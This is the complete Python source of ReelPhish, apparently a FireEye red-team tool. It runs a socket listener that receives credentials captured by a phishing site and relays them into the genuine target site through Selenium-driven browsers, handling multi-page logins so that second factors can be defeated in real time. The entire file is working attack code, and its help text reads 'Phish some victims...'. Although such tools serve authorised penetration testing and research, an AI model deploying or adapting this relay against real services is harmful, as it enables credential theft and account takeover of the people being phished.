"""
ReelPhish - Automated Real Time Phishing

Authors: Pan Chan, Trevor Haskell

Copyright (C) 2018 FireEye, Inc. All Rights Reserved.
"""
# pylint: disable=I0011,C0325
import argparse
import logging
import os
import threading
import signal
import sys
import collections
import time
import socket
import urllib

from Queue import Queue

from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.common.exceptions import NoSuchElementException

__version__ = '0.1.0'

_ALLOWED_BROWSERS = ['IE', 'FF', 'Chrome']

_SEND_QUEUE = Queue()
_RECEIVE_DICT = dict()

_LOGGER = logging.getLogger('phishing_driver.{}'.format(__version__))


class DriverThread(threading.Thread):
    """ Manages a client browser session while authentication is in process """
    def __init__(self, args, thread_send_queue, thread_receive_queue, tid, exit_sig, can_exit):
        super(DriverThread, self).__init__()
        self.args = args
        self.thread_send_queue = thread_send_queue
        self.thread_receive_queue = thread_receive_queue
        self.tid = tid
        self.should_exit = exit_sig
        self.exit = can_exit

    def run(self):
        _LOGGER.info("Browser thread starting up...")
        pargs = self.args

        while not self.should_exit.is_set():
            browser = select_browser(pargs.browser[0])
            browser.get(pargs.url[0])
            for pagenum in range(0, pargs.numpages):
                _LOGGER.info("%s authentication pages left to do for browser %s", (pargs.numpages - pagenum),
                             self.tid)  # noqa pylint: disable=I0011,C0301
                parameter_dict = collections.OrderedDict()
                param_list = self.thread_send_queue.get()

                _LOGGER.debug("Parameter list received: %s", param_list)
                for keypair in param_list:
                    parsed_value = urllib.unquote(keypair.split('=')[1])
                    parameter_dict[keypair.split('=')[0]] = parsed_value
                _LOGGER.debug("Internal parameter dictionary: %s", parameter_dict)

                elem = None
                for key, value in parameter_dict.iteritems():
                    _LOGGER.debug("Sending field name: %s", key)
                    _LOGGER.debug("Value is: %s", value)
                    try:
                        elem = browser.find_element_by_name(key)
                        if elem.tag_name == "select":
                            select = Select(elem)
                            select.select_by_visible_text(value)
                        elif elem.get_attribute("type") == "checkbox":
                            if str(elem.is_selected()).lower() != value.lower():
                                elem.click()
                                # Workaround for IE, requires two clicks
                                if pargs.browser[0] == "IE":
                                    elem.click()
                        else:
                            elem.send_keys(value)
                    except NoSuchElementException:
                        if pargs.override:
                            _LOGGER.warning("Ignoring error: Unable to find field name: %s", key)
                        else:
                            _LOGGER.critical("Unable to find field name: %s", key)
                            exit(1)
                if pargs.submit is None:
                    elem.submit()
                else:
                    submit_button = browser.find_element_by_name(pargs.submit[0])
                    submit_button.click()

                # OPTIONAL: Store response page if scraping the page is required
                # response_content = browser.page_source
                # if pargs.verbose:
                #  print("Length of response: %s" % str(len(response_content)))

                # When using a single phishing page, no data usually needs to go back.
                # We just need to indicate we are finished to the phishing web server.
                # This can be customized to your liking.
                _LOGGER.debug("Finished, sending example data back")
                return_message = "Example data for browser session %s" % self.tid
                self.thread_receive_queue.put(return_message)

            _LOGGER.info("All authentication pages finished for browser %s, exiting...", self.tid)
            break
        return


class MainNetworkSocket(threading.Thread):
    """ Manages the main socket connection and spawns new threads to manage connections """
    def __init__(self, exit_sig, can_exit):
        super(MainNetworkSocket, self).__init__()
        self.should_exit = exit_sig
        self.exit = can_exit
        # You can customize the host and port below.
        # Be sure the port number is the same in your phishing site.
        self.host = ''
        self.port = 2135
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.setblocking(0)
        self.sock.settimeout(None)
        self.sock.bind((self.host, self.port))

    def run(self):
        _LOGGER.info("Brought up main networking")
        self.sock.listen(5)
        while not self.should_exit.is_set():
            conn, addr = self.sock.accept()
            _LOGGER.info("Accepted connection from %s", repr(addr))
            client_thread = ClientHandler(conn, addr)
            client_thread.start()
        _LOGGER.info("Terminating listener")
        self.sock.shutdown(socket.SHUT_RDWR)
        self.sock.close()


class ClientHandler(threading.Thread):
    """ Handles an individual client's connection """
    def __init__(self, conn, addr):
        super(ClientHandler, self).__init__()
        self.conn = conn
        self.addr = addr

    def run(self):
        _LOGGER.debug("Inside network handling thread for %s", repr(self.addr))
        data = self.conn.recv(1024)
        parsed_data = (data.split('\r\n\r\n')[1]).split('&')
        session_id = parsed_data[0]
        message_packet = [session_id, parsed_data[1:]]
        _LOGGER.debug("Full message packet to be sent to main dispatcher from client %s: %s",
                      repr(self.addr), message_packet)
        _SEND_QUEUE.put(message_packet)
        # The phishing web server makes the request to this script and provides phished credentials.
        # We respond back with an indication of success and optionally provide scraped data from the page.
        # Until we are finished entering credentials, this transaction is not finished.
        while True:
            if session_id not in _RECEIVE_DICT:
                time.sleep(0.05)
            else:
                _LOGGER.debug("Found message to send for %s", session_id)
                send_packet = _RECEIVE_DICT[session_id].get()
                resp = "HTTP/1.1 200 OK\r\n\r\n"
                resp += send_packet
                _LOGGER.debug("Sending the following packet: %s", resp)
                self.conn.send(resp)
                self.conn.close()
                break
        _LOGGER.info("Network thread for session %s finished", repr(self.addr))


def parse_args():
    """ Parses the CLI flags """
    # pylint: disable=I0011,C0301
    parser = argparse.ArgumentParser(description="Phish some victims...")
    parser.add_argument('--browser', nargs=1, help='<Required> Set Browser Type (IE, FF, Chrome, or Safari)',
                        required=True, choices=_ALLOWED_BROWSERS)
    parser.add_argument('--submit', nargs=1, help='<Optional> Set submission button name from form', required=False,
                        action='store')
    parser.add_argument('--url', nargs=1, help='<Required> URL to target', required=True)
    parser.add_argument('--numpages', type=int, help='<Optional> Number of authentication pages in web application'
                        ' if none are specified, this defaults to 1', required=False, default=1)
    parser.add_argument('--logging', default='info', action='store', required=False,
                        help='<Optional> Increase verbosity on command line (debug, info, warn, error, critical)')
    parser.add_argument('--override', help='<Optional> Ignore missing element errors', required=False,
                        default=False, action='store_true')

    return parser.parse_args()


def select_browser(browser_selection):
    """
       Implements operating system checking to determine appropriate browser support
       Raises exception when unsupported operating system or browser is found
       Currently supported operating systems and browsers:
           * Windows: Internet Explorer (IE), Firefox (FF), Chrome
           * Linux: Firefox (FF), Chrome

       Returns browser object corresponding to selection choice (browser_selection)
    """
    if sys.platform == "win32":
        current_path = sys.path[0]
        if browser_selection == "IE":
            ie_path = current_path + "\\IEDriver.exe"
            return webdriver.Ie(ie_path)
        elif browser_selection == "Chrome":
            chrome_path = current_path + "\\ChromeDriver.exe"
            return webdriver.Chrome(chrome_path)
        # Firefox selenium implementation requires gecko executable to be in PATH
        elif browser_selection == "FF":
            firefox_driver_path = current_path + "\\FFDriver.exe"
            firefox_capabilities = DesiredCapabilities.FIREFOX
            firefox_capabilities['marionette'] = True
            return webdriver.Firefox(capabilities=firefox_capabilities, executable_path=firefox_driver_path)
        else:
            raise Exception("Invalid Windows browser selection (IE, Chrome, and FF supported)")
    elif sys.platform == "linux" or sys.platform == "linux2":
        current_path = os.path.dirname(os.path.abspath(__file__))
        if browser_selection == "FF":
            firefox_driver_path = current_path + "/FFDriver.bin"
            firefox_capabilities = DesiredCapabilities.FIREFOX
            firefox_capabilities['marionette'] = True
            firefox_capabilities['executable_path'] = firefox_driver_path
            return webdriver.Firefox(capabilities=firefox_capabilities)
        elif browser_selection == "Chrome":
            chrome_path = current_path + "/ChromeDriver.bin"
            return webdriver.Chrome(chrome_path)
        else:
            raise Exception("Invalid Linux browser selection (Chrome and FF supported)")
    else:
        raise Exception("Operating system not supported")


def add_signal_handler(eventer):
    """ Signal handler """
    def graceful_exit(sig, frame):
        print('gracefully stopping')
        eventer.set()
        signal.signal(signal.SIGINT, signal.SIG_DFL)
        signal.signal(signal.SIGTERM, signal.SIG_DFL)

    return graceful_exit


def main():
    """ Initializes and runs the phishing script """
    args = parse_args()

    log_levels = {
        'debug': logging.DEBUG,
        'warn': logging.WARN,
        'warning': logging.WARN,
        'error': logging.ERROR,
        'critical': logging.CRITICAL,
    }
    log_fmt = '%(levelname) -8s %(asctime)s [%(filename)s %(lineno)d] %(funcName)s: %(message)s'
    _LOGGER.setLevel(log_levels.get(args.logging, logging.INFO))
    log_fh = logging.StreamHandler(stream=sys.stdout)
    log_fh.setFormatter(logging.Formatter(log_fmt))
    _LOGGER.addHandler(log_fh)

    exit_sig = threading.Event()
    can_exit = threading.Event()

    signal.signal(signal.SIGINT, add_signal_handler(exit_sig))
    signal.signal(signal.SIGTERM, add_signal_handler(exit_sig))
    signal.signal(signal.SIGILL, add_signal_handler(exit_sig))
    signal.signal(signal.SIGABRT, add_signal_handler(exit_sig))

    network_socket = MainNetworkSocket(exit_sig, can_exit)
    _LOGGER.info("Starting main networking...")
    network_socket.start()

    running_sessions = collections.OrderedDict()

    while not can_exit.wait(0.05):
        if not _SEND_QUEUE.empty():
            message_packet = _SEND_QUEUE.get()
            session_id = message_packet[0]
            if session_id not in running_sessions:
                thread_send_queue = Queue()
                thread_receive_queue = Queue()
                thread_send_queue.put((message_packet[1:])[0])
                driver_thread = DriverThread(args, thread_send_queue, thread_receive_queue,
                                             session_id, exit_sig, can_exit)
                running_sessions[message_packet[0]] = [
                    driver_thread,
                    thread_send_queue,
                    thread_receive_queue,
                ]
                driver_thread.start()
            else:
                running_sessions[session_id][1].put((message_packet[1:])[0])
        for key, value in running_sessions.iteritems():
            if not value[2].empty():
                driver_packet = value[2].get()
                if key not in _RECEIVE_DICT:
                    _RECEIVE_DICT[key] = Queue()
                _LOGGER.debug("Sending %s driver packet to dispatcher", driver_packet)
                _RECEIVE_DICT[key].put(driver_packet)
            if not value[0].is_alive():
                _LOGGER.info("Removing browser thread for %s", key)
                del running_sessions[key]


if __name__ == '__main__':
    main()